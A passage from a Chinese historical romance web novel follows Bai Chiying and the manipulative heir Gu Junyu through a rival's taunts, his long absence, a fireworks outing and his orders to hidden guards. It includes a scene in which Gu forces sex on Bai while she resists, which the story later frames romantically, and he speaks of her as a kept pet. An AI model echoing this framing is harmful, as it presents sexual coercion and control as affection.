“毕竟将来,咱们还得一同侍候世子,如今闹得僵了,也不好看。”
她话毕,计谋完满般盈盈一笑。
却不料白持盈竟什么反应都没有,只冷冷道了句:“你说完了吗,说完了就滚。”
柳净识本以为白持盈会仪态全失地与自己厮打,没想到这人还是一副淡淡的模样,未来得及接话,又见白持盈轻轻揉着荷衣的脸,开口却淬了冰碴子一般:“来人,将柳姑娘请出去!”
不知从哪儿忽然出现了两个一身黑衣的暗卫,一左一右,将柳净识架了出去。
荷衣还愣着,呜呜咽咽地说不清话。
白持盈苦笑安慰她道:“别听她胡说,咱们先去找了冰来敷。”伸手要去拉荷衣时,才惊觉地上滴滴答答落了什么东西。
一低头,是两三抹绽开的血花。
白持盈将有些抖的手掌摊开,才发现因为太过用力,手心被自己生生掐破了皮。
她知道柳净识来者不善,她只是、只是……
只是太想知道她那和自己一模一样的镯子是哪儿来的了。
她仅仅只是十分、十分喜欢那镯子。
24.雨暗残灯忆棋散后,酒醒孤枕是雁来初
等到山脚的桃花都落了,辜筠玉也没来山庄。
他想到她的时候便来,想不到她的时候,便就不来了。
白持盈这时候忽然发现,她竟然真如柳净识话外之言那样,像个见不得人的外室。
风吹得有些冷,白持盈沉默着从那有半膝高的门槛上起身,孤落落地回了院子。
向来比谁都伶牙俐齿的荷衣在一旁几欲开口,却发现说什么都是徒劳。
因为该来的人始终都没有出现。
她身边仍有暗卫随时照看着,如鬼魅一般来去无踪,独独不见辜筠玉。
整整一月多,辜筠玉整整一月多没有来过山庄,只有门前的守卫旧的换了新的,又增了许多人。
她试探着问过老仆人辜筠玉去了哪儿,老仆雪簇似的两堆眉毛轻轻挑起,又摇了摇头。
“小夫人,世子只说了让我们照看好您,至于旁的,老奴实在是应不了您什么。”
白持盈见他面露难色,自然再张不了口问旁的。
她动过就此离开的心思,可望着这满屋子辜筠玉给她题的诗、描的画、集的小玩意儿,又看见荷衣哀求的眼神,始终狠不下心来。
入夜已不大凉了,但白持盈身子不好,唯她这院子又连着温泉,又烧着银碳,比旁处和暖许多。
但不知怎的,白持盈睡不大踏实,翻来覆去一个多时辰,好容易混混沌沌地浅睡了,却忽觉颈后刺痛,身下一阵烫热袭人。
恍惚间腰|被|抬起,还未来得及反应,她泄出一声急促的娇|哼。
未做准备便乍然入事,有些疼,白持盈惨白着一张脸推拒压上来的人,不知道他在发什么疯。惊诧过后,心中委屈更甚,又受着辜筠玉忽然的、毫不怜惜的征伐,泪珠子一滴接着一滴滚了下来。
“嗯……啊!混蛋!你放开我,筠……筠玉……卯郎!”这人吮着她肩上一块儿滑嫩软白的肌肤,忽而张嘴咬了一口。
白持盈嗅到了他一身的酒气。
她知道他没有醉,辜筠玉的酒量极好,这不过是借着酒劲儿发着不知哪门子疯。
“你出去!你……啊嗯,你放手。”但辜筠玉咬了肩上软肉还不罢休,一路吮吻着向下,在白持盈收不住的呻|吟声中愈加变本加厉。
像要活活将她吞咬下去。
白持盈哪儿见过他这般架势,一时是又气又怕,在他手上动作未停,抬起头来要吻自己时,抬手给了他一个巴掌。
一时二人皆愣住了。
白持盈刚下了手便有些后悔,忸怩着,正要去瞧他伤了的脸,却被看不清神色的辜筠玉一手握住两只腕子压了回去。
二人不再是紧紧贴着,白持盈终于借着月色银光看清了辜筠玉。
他面无表情,没制着白持盈的那只手几轻缓地摸着姑娘好容易养出些肉的下巴,一边儿脸被白持盈刚打了有些红,眉间朱砂平添了几分妖气,眸色晦暗,瞧着骇人得很。
白持盈有点儿害怕他继续乱来,正要用力挣脱他的桎梏,却发觉这人不动了。
颈间忽而一阵温热。
又一滴,滚烫的泪珠自他通红的眼眶落下,顺着白持盈半散开的里衣和红青交错的肩头消失。
“哎?”
白持盈也顾不上旁的,这下真愣住了。
“愣什么呢?”
辜筠玉下了马,盯着白持盈瞧了好一会儿,见人脸色一阵红又一阵白,好半晌,才直接上手将人抱了下来。
听着近在耳旁的声响,白持盈才堪堪回过神来,忙收拾了神色,顺着辜筠玉的力道下了马。
他看着此时一身月白圆领袍衫的辜筠玉,忽然很想问一句,你那时候为什么哭?
那两滴滚烫的眼泪,是你无数算计里的一环吗?
这想法一出,白持盈简直觉得自己疯魔了,从前便无论如何也问不出来的,如今韶光流转过数更,旧时山庄已成灰飞,又如何问得出来?
于是她只是轻轻抱过辜筠玉,又轻轻地松开。
山下有两处已圮毁的石房,蓁蓁野绿漾出其上,泉如碎玉叮咚,咕出二三波纹来,渐渐奔向远方了。一径是织密的绿,清绝黄土之上,待着再过两三月开出密密的花来。
白持盈用找了块儿平整的青石,将带来的贡品整整齐齐放在了上面。
她也没做旁的,只闭着眼睛对远吞碧蓝的天际遥遥一拜,而后将一坛子百花酿浇在了草地上。
面对着浩广无垠的天地,白持盈长长地谈了一口气。
“怎的又唉声叹气的?”辜筠玉将她拉到一旁,轻轻抚弄着她的发尾。
白持盈坐在青石上,托着腮望向洛阳城,却没直接答他的话。
“小时候,我约莫只六七岁,人不大,胆子却最最不小,不坐马车也不爱骑马,硬是要跟着我舅舅爬山,就像今儿这般,也是爬的青要山,还爬过老君山。”
“那时候日子最好了,我一溜烟儿跑不见了影儿,躲在涌泉的山洞里,他们都找不到我,等着等着睡着了,出去又挨一通臭骂,我舅舅可凶。”
难免有司马牛之叹①罢了。
辜筠玉没应,见白持盈想躺下,先喊停了她,将自己身上的披风摘了,垫在白持盈身下。
白持盈躺在那内里有绒的披风上,估摸着这人又是有备而来。
平日里可从不见他披挂这玩意儿。
她侧过
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身子,定定看着辜筠玉,半晌才开口:“你摘了给我,不冷么?”
不料辜筠玉几无犹豫,立时答道:“冷。”
“那……”听他这话,白持盈忙要起来,却被辜筠玉摁了回去,而后落入男子温热的怀抱。
“这样便不冷了。”
诡计多端。
白持盈不知怎的忽然笑了,看着他,也不再说什么,躺回了原处。
罢了,便就如此也算不错。
她偶尔说一两句,辜筠玉偶尔回一两句,多是二人就如此躺着,不言也不动,看着漫天流云瞬变,滚滚如白驹过隙。
白持盈好像回到了她与辜筠玉初见时的日子,完满地如同警世幻境一般,她于雨夜灯下夜读,辜筠玉方从蜀州回来,原以为是见不着的,却不料一阵雨打屋檐的噼啪落珠声后,辜筠玉着身蓑衣掀帘步入。
他打着盏明瓦的灯笼,和夜色一般蒙蒙混混,亮成烛光飞跃的一片。
“今儿夜雨又涨了。”
白持盈为他摘下蓑衣斗笠,似无头绪般说了一句。
辜筠玉未回她,只一笑,将跳跃的烛火剪了。
那烛火点点地飞动着,跃成眼前的一幕星子。
天竟已大黑了。
白持盈似才觉出时辰的流淌,惊坐起,摇了摇辜筠玉,凑到他跟前道:“我们该回去了,天都暗了。”
辜筠玉睁眼,抬手将她捞回了怀中。
“你先闭眼。”
“作甚?”
“你闭了再说。”
“不许亲我。”
“……好。”
白持盈拿不准他要干些什么,却也乖乖闭上了眼。
远处乍起阵阵讯雷之声,却不吓人,只听着、听着像……
她睁眼,果见漫天焰火。
簇簇火树银花声惊洛阳,如一席星子飞动成章,复又旋开,落成光彩点点。彤云之上是神仙撒币,银光乍泼,照彻东都。
山下人声渐有,想来是皆外出探看了。
“许副官从陈家庄缴的,不如今儿放了,也算除了旧事凄凄,她们去了那边儿,总会比现下好的。”辜筠玉不再看那瞬逝的烟火,反侧目瞧着白持盈。
姑娘正愣怔着,估计也未听清他说什么。
他忽然凑到白持盈耳旁,低声问了句:
“盈娘,我现在可否吻你了?”
白持盈看着他叫焰火照亮的睫羽,心头剧颤,脑中走马灯似的转过许多细碎的往事光影,最后都汇作一轮明月。
身旁人眉飞入鬓,濯如青竹春柳,眉间朱砂并带三分神凝。
“可以。”
她闭眼,颤着声回他。
25.人得其意事事有故,春含别情阵阵皆欢
等二人回到洛阳城时,宵禁已开,城门上了锁,白持盈在辜筠玉怀中困得睡着了。
许副官守在城门口,见辜筠玉回来,点头示意。
二人无话,只是放开城门一道隙道,叫辜筠玉策马而入。
金玉堂大门未落锁,半开着一扇,辜筠玉抱起白持盈,侧身将人带回了里堂。
而那在夜色下毛皮发亮的神骏拜了拜尾,被神出鬼没的暗卫牵走。
白持盈在他怀中蹭了蹭,找到个舒服的姿势又睡了过去。
辜筠玉一双眼睛在本就暗淡的夜里更加像两潭陈水,黑洞洞的没有什么情感,等着人深深地陷下去。
石小四原待在门口等白持盈回来,想给她尝新买的牛乳糖,冷不丁对上辜筠玉未来及得收回的眼神,头皮一阵发麻。
她心狂跳几瞬,本兴高采烈地准备上前,此刻却是一下也不敢动了。
但辜筠玉仿若未觉,像只是错觉般,忽然又变回了原来那叫人看了如沐春风的样子。
他对石小四微微一笑,淡然开口:“放下吧。”
石小四手上一抖,将那袋子牛乳糖放下,快快跑开了。
白持盈混混沌沌见听到辜筠玉的声音,可不知怎的就是醒不过来,靠在熟悉的怀抱里,也便不再多想,任睡意袭人了。
将白持盈放到榻上后,辜筠玉给她盖好被褥,转身出了金玉堂大门。
还是从前的那条巷子,不过如今又多了一个人。
喜欢蹲在墙头的少年仍然不言不语,手中拿着一根狗尾草,晃来晃去。
他蹲住的墙头之下还有一个人,半倚在墙边,逗弄着墙上的少年。
“嘿,毕方!毕方!你手里那是什么,好玩儿吗?”
少年仍没有理他。
那人不见丧气,伸手想去抓少年手里的狗尾草,被少年堪堪躲过,留给他一个嫌厌的背影。
英招“嘿”了一声,见毕方没理他,还欲再上前发话,却看毕方忽然回头,一片儿碎瓦砸到了额角。
“哎哎哎……你怎么能动手呢……你这小孩儿……”他话音未落,见毕方迅速自墙头翻身而下,规规矩矩朝他身后行了个礼。
英招长长叹了一口气。
“我可没欺负他。”
他一张嘴就是推脱责任。
“话多。”毕方眼中怨气快要溢出来了。
辜筠玉根本没管他俩之间那点子小摩擦,只冷哼了一声。
两人立时不敢再玩笑了。
“找到了么?”辜筠玉问道。
英招看了毕方一眼,又看了辜筠玉一眼,自知这遭是逃不过,正欲开口,却见毕方现行一步跪了下来 。
“未能找到,请主子责罚。”
他跪在原地,头深深地低下,不再说话。
英招见此状,心中打鼓半晌,虽知晓辜筠玉不会怎么他们,却也暗恼自己一时大意,没盯住那杨惊生。
“主子,毕方本已寻到他,是我大意……”
辜筠玉忽然开口:“无妨,我已想到法子引出他来。”
毕方与英招对视一眼,皆不做声。
辜筠玉说有法子,那一定是个即稳妥又奏效的法子。
他二人跪在地上,静等着辜筠玉下一步的命令。
男子将手中的扳指转了一转,淡声对毕方道:“你再去江南总局寻匹新上的掐花团蝶暗纹的锦来。”
毕方愣了一瞬,却也没说什么,只应下声来。
“去吧。”辜筠玉扔给毕方一道令牌。
毕方又消失在夜色中。
他走后,英招看着辜筠玉被月色照得明暗两色的面容,相对着沉默半晌,还是开口道:“师兄……你……不会真喜欢上那白姑娘了吧。”
辜筠玉淡淡看了他一眼,好似听到了什么很奇怪的话,微一挑眉。
“当只狸奴一般养着也不错。”他话毕,顿了一会儿才反问顾英招。“你从前不是也有一只很喜欢的么?”
顾英招低着头,半晌才喃喃回:“可后来我杀了它。”
他忽然颤抖起来,有些应激般上前两步,声音沙哑:“师父让我杀了它……我亲手掐死的。”
辜筠玉更加觉得莫名其妙了。
“可我也杀了师父不是么?”
英招忽然觉得没什么好说的。
辜筠玉就是这样,一个人、一只狸奴、一处物件儿,在他眼中没有什么不同。
和一个疯子有什么好说的。
英招忽然有些可怜那白姑娘,他嗤笑一声。
“碰上你真是她倒了八辈子的霉。”
他转身欲走,又忽然回头。
“师兄,你最好是真的不喜欢她,否则你会后悔的——你现下做的每一件事,日后都会变成刺向你自己的利刃,疼得你恨不得死去。”
辜筠玉皱了皱眉,他觉得顾英招今夜话有些多。
“不会的。”他有些不耐烦,今夜顾英招说的话,像细密的银针刺向他,密密匝匝,无处可逃。
英招最后看了他一眼,没再说话,转身离去。
辜筠玉将手中扳指又转了一圈儿,后知后觉才发觉掌心刺痛。
那是一枚小小的、弯弯的血月。
和眉间的朱砂一般灼烈。
他怎么会喜欢人呢?
真是可笑。
*
白持盈做了一宿的噩梦,醒来却什么都不记得了。
她额角跳得厉害,心上也难受,可偏什么都想不起来。
身侧一片寒凉,辜筠玉不在,她也未多想,只觉得他是如往常一般出去了。
人不在,反给了白持盈静下来想明白一些事情的机会。
天已亮了,白持盈看着窗外生发的杏枝,眼前恍惚还是昨夜火树银花。
她知道自己有些无可救药,因为她还是喜欢辜筠玉。
这种喜欢和旁的感情完全不同,是飞蛾扑火,是囊萤探雪,在极炙热和极寒凉之间来回拉扯。
白持盈想起昨夜在山上,辜筠玉问他,可否喜欢过什么人?
她能怎么回答他?喜欢过?还是没有喜欢过?她说不出假话来,辜筠玉在她人生中的分量实在是太重了,重到她想起过去这个词,想起从前所有的悲欢离合,竟然都是他。
她甚至得好好想才能记起幼时的锦绣日子,可一提到他,好的坏的甜的苦的便都自己涌了上来。
这一世,她对自己千叮咛万嘱咐,不要再和这个人纠缠,却在迈出第一步时就迎头碰上。
他就这样毫不给她拒绝的机会,又一呼一吸间缠进她的日子里。
扪心自问,她当真看不出来辜筠玉那些谎话么?
不,其实她看得比谁都清楚。
从一开始她就不相信辜筠玉失了忆,但为了给自己一个理由留下他,她告诉自己辜筠玉就是什么都不记得;她也知晓他总是给自己弄来些不应当在洛阳城出现的东西,必定与京中联系未断;她
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更知晓他每日里时不时消失一阵子,是不知道又在暗地里筹谋什么。
她心里都明白的,辜筠玉还是从前那个步步为营、心机深沉的镇国公世子。
可他又会因为自己一句无心之话千里迢迢从江南弄来一匹时新的布料,会时刻关照着自己身子冷热否,每次出门都会给她带路边的小食。
他还为自己挡了一箭,差点丢了性命。
白持盈看着书案上那幅美人春睡图,不知怎的如何也静不下去了。
前几日辜筠玉刚起了笔,还未摹完,如今远看着倒是颜色鲜妍,簇簇桃花点墨生灵。
她忽然想起那日辜筠玉没头没尾地与自己说了身世之因。
这是上辈子他都未与自己说过的。
或许真会有所不同?
她起身踱步到那画前,定定看着画中人。
那是她自己。
白持盈手指尖儿是冰凉的,眼眶却泛着热,像是万物生灵都屏息,唯有心还跳跃。
何必把自己拘在过去,上苍给了她再来一次的机会,不会是叫她还如从前一般唯唯诺诺、患得患失。
这一世她没有困在陈家庄,没有困在京郊别院,也没有困在花萼相辉楼。她身边不止有辜筠玉,还有尚意气风发能策马塞北的沈是,有虽嘴上埋怨自己却最为自己着想的南国,有虽身在市井乡野却为人飒爽的石当家,有一群可爱的叫着自己白姐姐的小孩子。
白持盈看着桌上那一包牛乳糖,觉得幸好上苍给了她再来一次的机会。
她脑中闪过许多人的样子,有爹娘的,有舅舅的,有小盲女的,有石家姐妹的,还有刘家那刚刚故去的小娘子的。
她心中下了一个决定,往前一步便是天光洞现,豁然开朗。
正要将那画卷收起,门“吱呀”一声被推开,辜筠玉又提着一袋红果子回来,见白持盈独自站在窗前,眉头微蹙,将果子搁到桌上,抖开挂在一旁的披风,给白持盈披上。
白持盈捧着他的脸,怎么看怎么满意。
“谁逗得盈娘如此高兴,我要大大赏他。”辜筠玉看着姑娘弯弯的眉眼打趣道。
却不料白持盈听他此言反作思索状,认真捏着下巴半晌,忽然抬头亲了他一口。
白姑娘干完坏事儿就跑开。
只是她刚退了两步,便被辜筠玉捉了回来。
辜筠玉又不爱当柳下惠,他将试图逃跑的白持盈锢在怀中,毫不犹豫地亲了上去。
白持盈被他亲地眼梢带泪,腰软脚软,一阵天旋地转后被压到了榻上。
在衣裳尽皆落下的前一刻,白持盈喘息着问他:“辜筠玉,你方才去哪儿了?
辜筠玉抚着她长而黑的发。
“去见了一个朋友。”
“你没骗我吧?”白持盈忽然目光定定地看着他。
辜筠玉轻笑出声,亲了亲她额头:“怎么这么可爱,当然没有。”
话音刚落,他又问:“如果我骗你呢?”
白持盈思索了一瞬,认真答道:“如果我觉得不可原谅,那么我会永远地离开你。”
辜筠玉一愣,心脏忽然一阵无可抑制的抽痛,痛得他呼吸不能。
但他还是神色如常地拨开落在白持盈肩颈的碎发,吮吻了上去。
“我不会让你离开我的。”
辜筠玉修长的手指一挑,最后一层碍事的东西便脱落了下来。
院内一簇杏花颤颤巍巍展开花蕾,又被露水打落。